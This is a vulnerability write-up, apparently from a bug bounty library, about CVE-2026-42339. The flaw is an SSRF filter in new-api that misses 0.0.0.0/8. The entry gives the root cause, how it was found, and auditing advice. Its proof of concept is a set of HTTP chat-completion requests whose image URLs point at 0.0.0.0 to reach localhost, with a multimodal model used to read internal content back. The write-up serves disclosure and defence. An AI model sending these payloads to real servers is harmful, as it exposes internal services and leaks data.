# QuantumNous/new-api has an SSRF Filter Bypass via 0.0.0.0

new-api's SSRF filter omits 0.0.0.0/8, letting any API-token user make the server fetch localhost resources, readable via multimodal model output.

- Payout: Research
- Severity: high
- Program: new-api
- Found by: MeeseeksX
- Disclosed: 2026-05-06
- CVE: CVE-2026-42339
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-v5c3-6wvc-pc2q
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v5c3-6wvc-pc2q
- Tags: area:ai domain:ai domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:go tech:llm technique:incomplete-fix technique:source-review vuln:access-control vuln:ssrf

**Target:** Go web app /v1/chat/completions multimodal file-fetch path
**Root cause:** isPrivateIP() in common/ssrf_protection.go denies 10/8, 172.16/12, 192.168/16, 127/8, 169.254/16, 224/4, 240/4 but not 0.0.0.0/8, which on Linux routes to localhost.
**Steps:**
1. Send `POST /v1/chat/completions` with `Authorization: Bearer sk-<user-token>`, `stream: true`, and `messages[].content[].image_url.url` set to `http://127.0.0.1:8080/probe.png`; observe `private IP address not allowed: 127.0.0.1`.
2. Replace host with `http://0.0.0.0:8080/probe.png`; observe `dial tcp 0.0.0.0:8080: connect: connection refused`, proving a real TCP connection was attempted.
3. Point at an internal service on an allowed port (80/443/8080/8443) returning image/PDF/text and route via a multimodal or AWS/Bedrock Claude channel to read content back through the model response.
**How found:** Reviewed the prior SSRF fixes (CVE-2025-59146, CVE-2025-62155) and audited isPrivateIP() against the IANA special-purpose registry, noticing 0.0.0.0/8 was absent; then traced the multimodal file-fetch data flow to ValidateURLWithFetchSetting and confirmed with a 127.0.0.1 control vs 0.0.0.0 experiment.
**Exploitation:** Authenticated regular user with any API token submits a streaming multimodal request whose image_url/file URL host is 0.0.0.0 on an allowed port; the server's DoDownloadRequest fetches localhost. Blind SSRF gives port probing via error differences; routing through the AWS/Bedrock Claude adaptor inlines fetched content as base64 into the model request, so the model transcribes/describes internal resources back to the attacker.
**Escalation:** Chaining the filter bypass with the Bedrock Claude adaptor's GetBase64Data inlining upgrades blind SSRF to full-read SSRF; also reachable via /v1/responses, /v1/messages, and /api/user/setting webhook/bark/gotify URLs.
**Insight:** When auditing SSRF deny-lists, diff the range list against the full IANA IPv4/IPv6 special-purpose registry rather than just RFC1918; 0.0.0.0/8, 100.64/10, 198.18/15 and IPv6 ::/::1 are commonly missed and 0.0.0.0 routes to localhost on Linux.

## Proof of concept (copied exactly from the original report)

**Request with 0.0.0.0 image URL bypassing SSRF filter**

```
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://127.0.0.1:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}

Response:

private IP address not allowed: 127.0.0.1

**Step 2 — Experiment group: `0.0.0.0` bypasses the filter**

POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "gpt-4o-mini",
  "stream": true,
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": [
        {"type": "text", "text": "describe"},
        {
          "type": "image_url",
          "image_url": {
            "url": "http://0.0.0.0:8080/probe.png",
            "detail": "low"
          }
        }
      ]
    }
  ]
}
```

**Readback request confirming content exfiltration via model**

```
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json

{
  "model": "claude-3-5-sonnet-latest",
  "stream": false,
  "max_tokens": 32,
  "messages": [
    {
      "role": "user",
      "content": [
        {
          "type": "text",
          "text": "Transcribe exactly the text in the image. Output only the text."
        },
        {
          "type": "image_url",
          "image_url": {
            "url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
            "detail": "low"
          }
        }
      ]
    }
  ]
}
```

